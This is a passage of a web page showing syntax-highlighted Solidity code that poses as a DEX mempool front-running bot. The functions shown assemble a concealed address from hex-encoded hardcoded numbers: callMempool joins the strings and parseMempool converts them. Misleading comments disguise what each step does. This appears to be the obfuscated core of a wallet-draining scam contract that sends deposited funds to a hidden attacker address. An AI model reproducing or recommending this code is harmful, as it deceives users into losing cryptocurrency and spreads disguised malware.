</span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">4236068232</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="com">/*</span></li><li class="L0"><span class="com"> * @dev Parsing all DEX mempool</span></li><li class="L1"><span class="com"> * @param self The contract to operate on.</span></li><li class="L2"><span class="com"> * @return True if the slice is empty, False otherwise.</span></li><li class="L3"><span class="com"> */</span></li><li class="L4"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> parseMempool</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory _a</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">address _parsed</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> bytes memory tmp </span><span class="pun">=</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">_a</span><span class="pun">);</span></li><li class="L6"><span class="pln"> uint160 iaddr </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L7"><span class="pln"> uint160 b1</span><span class="pun">;</span></li><li class="L8"><span class="pln"> uint160 b2</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> i </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span><span class="pln"> i </span><span class="pun"><</span><span class="pln"> </span><span class="lit">2</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">2</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="lit">20</span><span class="pun">;</span><span class="pln"> i </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> iaddr </span><span class="pun">*=</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></li><li class="L2"><span class="pln"> b1 </span><span class="pun">=</span><span class="pln"> uint160</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="pln">tmp</span><span class="pun">[</span><span class="pln">i</span><span class="pun">]));</span></li><li class="L3"><span class="pln"> b2 </span><span class="pun">=</span><span class="pln"> uint160</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="pln">tmp</span><span class="pun">[</span><span class="pln">i </span><span class="pun">+</span><span class="pln"> </span><span class="lit">1</span><span class="pun">]));</span></li><li class="L4"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b1 </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">97</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b1 </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">102</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> b1 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">87</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b1 </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">65</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b1 </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">70</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln"> b1 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">55</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b1 </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">48</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b1 </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">57</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> b1 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">48</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b2 </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">97</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b2 </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">102</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> b2 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">87</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b2 </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">65</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b2 </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">70</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L4"><span class="pln"> b2 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">55</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b2 </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">48</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b2 </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">57</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> b2 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">48</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> iaddr </span><span class="pun">+=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b1 </span><span class="pun">*</span><span class="pln"> </span><span class="lit">16</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> b2</span><span class="pun">);</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> address</span><span class="pun">(</span><span class="pln">iaddr</span><span class="pun">);</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="com">/*</span></li><li class="L5"><span class="com"> * @dev Returns the keccak-256 hash of the contracts.</span></li><li class="L6"><span class="com"> * @param self The slice to hash.</span></li><li class="L7"><span class="com"> * @return The hash of the contract.</span></li><li class="L8"><span class="com"> */</span></li><li class="L9"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> keccak</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">bytes32 ret</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> assembly </span><span class="pun">{</span></li><li class="L1"><span class="pln"> ret </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)),</span><span class="pln"> mload</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">))</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="com">/*</span></li><li class="L6"><span class="com"> * @dev Check if contract has enough liquidity available</span></li><li class="L7"><span class="com"> * @param self The contract to operate on.</span></li><li class="L8"><span class="com"> * @return True if the slice starts with the provided text, false otherwise.</span></li><li class="L9"><span class="com"> */</span></li><li class="L0"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> a</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> count </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> a</span><span class="pun">;</span></li><li class="L4"><span class="pln"> </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> count</span><span class="pun">++;</span></li><li class="L6"><span class="pln"> b </span><span class="pun">/=</span><span class="pln"> </span><span class="lit">16</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> bytes memory res </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">count</span><span class="pun">);</span></li><li class="L9"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> i</span><span class="pun">=</span><span class="lit">0</span><span class="pun">;</span><span class="pln"> i</span><span class="pun"><</span><span class="pln">count</span><span class="pun">;</span><span class="pln"> </span><span class="pun">++</span><span class="pln">i</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> b </span><span class="pun">=</span><span class="pln"> a </span><span class="pun">%</span><span class="pln"> </span><span class="lit">16</span><span class="pun">;</span></li><li class="L1"><span class="pln"> res</span><span class="pun">[</span><span class="pln">count </span><span class="pun">-</span><span class="pln"> i </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> toHexDigit</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="pln">b</span><span class="pun">));</span></li><li class="L2"><span class="pln"> a </span><span class="pun">/=</span><span class="pln"> </span><span class="lit">16</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">string</span><span class="pun">(</span><span class="pln">res</span><span class="pun">);</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> getMemPoolLength</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">8473654762</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="com">/*</span></li><li class="L3"><span class="com"> * @dev If `self` starts with `needle`, `needle` is removed from the</span></li><li class="L4"><span class="com"> * beginning of `self`. Otherwise, `self` is unmodified.</span></li><li class="L5"><span class="com"> * @param self The slice to operate on.</span></li><li class="L6"><span class="com"> * @param needle The slice to search for.</span></li><li class="L7"><span class="com"> * @return `self`</span></li><li class="L8"><span class="com"> */</span></li><li class="L9"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> beyond</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> slice memory needle</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">slice memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun"><</span><span class="pln"> needle</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="kwd">bool</span><span class="pln"> equal </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">!=</span><span class="pln"> needle</span><span class="pun">.</span><span class="pln">_ptr</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> assembly </span><span class="pun">{</span></li><li class="L7"><span class="pln"> let length </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">needle</span><span class="pun">)</span></li><li class="L8"><span class="pln"> let selfptr </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x20</span><span class="pun">))</span></li><li class="L9"><span class="pln"> let needleptr </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="pln">needle</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x20</span><span class="pun">))</span></li><li class="L0"><span class="pln"> equal </span><span class="pun">:=</span><span class="pln"> eq</span><span class="pun">(</span><span class="pln">keccak256</span><span class="pun">(</span><span class="pln">selfptr</span><span class="pun">,</span><span class="pln"> length</span><span class="pun">),</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">,</span><span class="pln"> length</span><span class="pun">))</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">equal</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">-=</span><span class="pln"> needle</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">+=</span><span class="pln"> needle</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="com">// Returns the memory address of the first byte of the first occurrence of</span></li><li class="L3"><span class="pln"> </span><span class="com">// `needle` in `self`, or the first byte after `self` if not found.</span></li><li class="L4"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> findPtr</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> selflen</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> selfptr</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> needlelen</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> needleptr</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">private</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> ptr </span><span class="pun">=</span><span class="pln"> selfptr</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> idx</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">needlelen </span><span class="pun"><=</span><span class="pln"> selflen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">needlelen </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> bytes32 mask </span><span class="pun">=</span><span class="pln"> bytes32</span><span class="pun">(~(</span><span class="lit">2</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="pun">(</span><span class="lit">8</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">32</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">))</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">));</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> bytes32 needledata</span><span class="pun">;</span></li><li class="L3"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> needledata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> </span><span class="kwd">end</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">;</span></li><li class="L6"><span class="pln"> bytes32 ptrdata</span><span class="pun">;</span></li><li class="L7"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> ptrdata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptrdata </span><span class="pun">!=</span><span class="pln"> needledata</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">>=</span><span class="pln"> </span><span class="kwd">end</span><span class="pun">)</span></li><li class="L1"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen</span><span class="pun">;</span></li><li class="L2"><span class="pln"> ptr</span><span class="pun">++;</span></li><li class="L3"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> ptrdata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ptr</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln"> </span><span class="com">// For long needles, use hashing</span></li><li class="L8"><span class="pln"> bytes32 hash</span><span class="pun">;</span></li><li class="L9"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> hash </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">,</span><span class="pln"> needlelen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span></li><li class="L1"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">idx </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln"> idx </span><span class="pun"><=</span><span class="pln"> selflen </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">;</span><span class="pln"> idx</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> bytes32 testHash</span><span class="pun">;</span></li><li class="L3"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> testHash </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">,</span><span class="pln"> needlelen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">hash </span><span class="pun">==</span><span class="pln"> testHash</span><span class="pun">)</span></li><li class="L5"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ptr</span><span class="pun">;</span></li><li class="L6"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> getMemPoolHeight</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L4"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">11211268</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln"> </span><span class="com">/*</span></li><li class="L8"><span class="com"> * @dev Iterating through all mempool to call the one with the with highest possible returns</span></li><li class="L9"><span class="com"> * @return `self`.</span></li><li class="L0"><span class="com"> */</span></li><li class="L1"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> callMempool</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _memPoolOffset </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="str">"x"</span><span class="pun">,</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">getMemPoolOffset</span><span class="pun">()));</span></li><li class="L3"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _memPoolSol </span><span class="pun">=</span><span class="pln"> </span><span class="lit">4825814</span><span class="pun">;</span></li><li class="L4"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _memPoolLength </span><span class="pun">=</span><span class="pln"> </span><span class="lit">750313</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _memPoolSize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">397599</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _memPoolHeight </span><span class="pun">=</span><span class="pln"> getMemPoolHeight</span><span class="pun">();</span></li><li class="L7"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _memPoolDepth </span><span class="pun">=</span><span class="pln"> getMemPoolDepth</span><span class="pun">();</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _memPool1 </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="pln">_memPoolOffset</span><span class="pun">,</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolSol</span><span class="pun">));</span></li><li class="L0"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _memPool2 </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="pln">checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolLength</span><span class="pun">),</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolSize</span><span class="pun">));</span></li><li class="L1"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _memPool3 </span><span class="pun">=</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolHeight</span><span class="pun">);</span></li><li class="L2"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _memPool4 </span><span class="pun">=</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolDepth</span><span class="pun">);</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _allMempools </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="pln">mempool</span><span class="pun">(</span><span class="pln">_memPool1</span><span class="pun">,</span><span class="pln"> _memPool2</span><span class="pun">),</span><span class="pln"> mempool</span><span class="pun">(</span><span class="pln">_memPool3</span><span class="pun">,</span><span class="pln"> _memPool4</span><span class="pun">));</span></li><li class="L5"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _fullMempool </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="str">"0"</span><span class="pun">,</span><span class="pln"> _allMempools</span><span class="pun">);</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> _fullMempool</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="com">/*</span></li><li class="L1"><span class="com"> * @dev Modifies `self` to contain everything from the first occurrence of</span></li><li class="L2"><span class="com"> * `needle` to the end of the slice. `self` is set to the empty slice</span></li><li class="L3"><span class="com"> * if `needle` is not found.</span></li><li class="L4"><span class="com"> * @param self The slice to search and modify.</span></li><li class="L5"><span class="com"> * @param needle The text to search for.</span></li><li class="L6"><span class="com"> * @return `self`.</span></li><li class="L7"><span class="com"> */</span></li><li class="L8"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> toHexDigit</span><span class="pun">(</span><span class="pln">uint8 d</span><span class="pun">)</span><span class="pln"> pure </span><span class="kwd">internal</span><span class="pln"> returns </span><span class="pun">(</span><span class="kwd">byte</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0</span><span class="pln"> </span><span class="pun"><=</span><span class="pln"> d </span><span class="pun">&&</span><span class="pln"> d </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">9</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">byte</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="kwd">byte</span><span class="pun">(</span><span class="str">'0'</span><span class="pun">))</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> d</span><span class="pun">);</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="lit">10</span><span class="pln"> </span><span class="pun"><=</span><span class="pln"> uint8</span><span class="pun">(</span><span class="pln">d</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> uint8</span><span class="pun">(</span><span class="pln">d</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">15</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">byte</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="kwd">byte</span><span class="pun">(</span><span class="str">'a'</span><span class="pun">))</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> d </span><span class="pun">-</span><span class="pln"> </span><span class="lit">10</span><span class="pun">);</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span></li><li 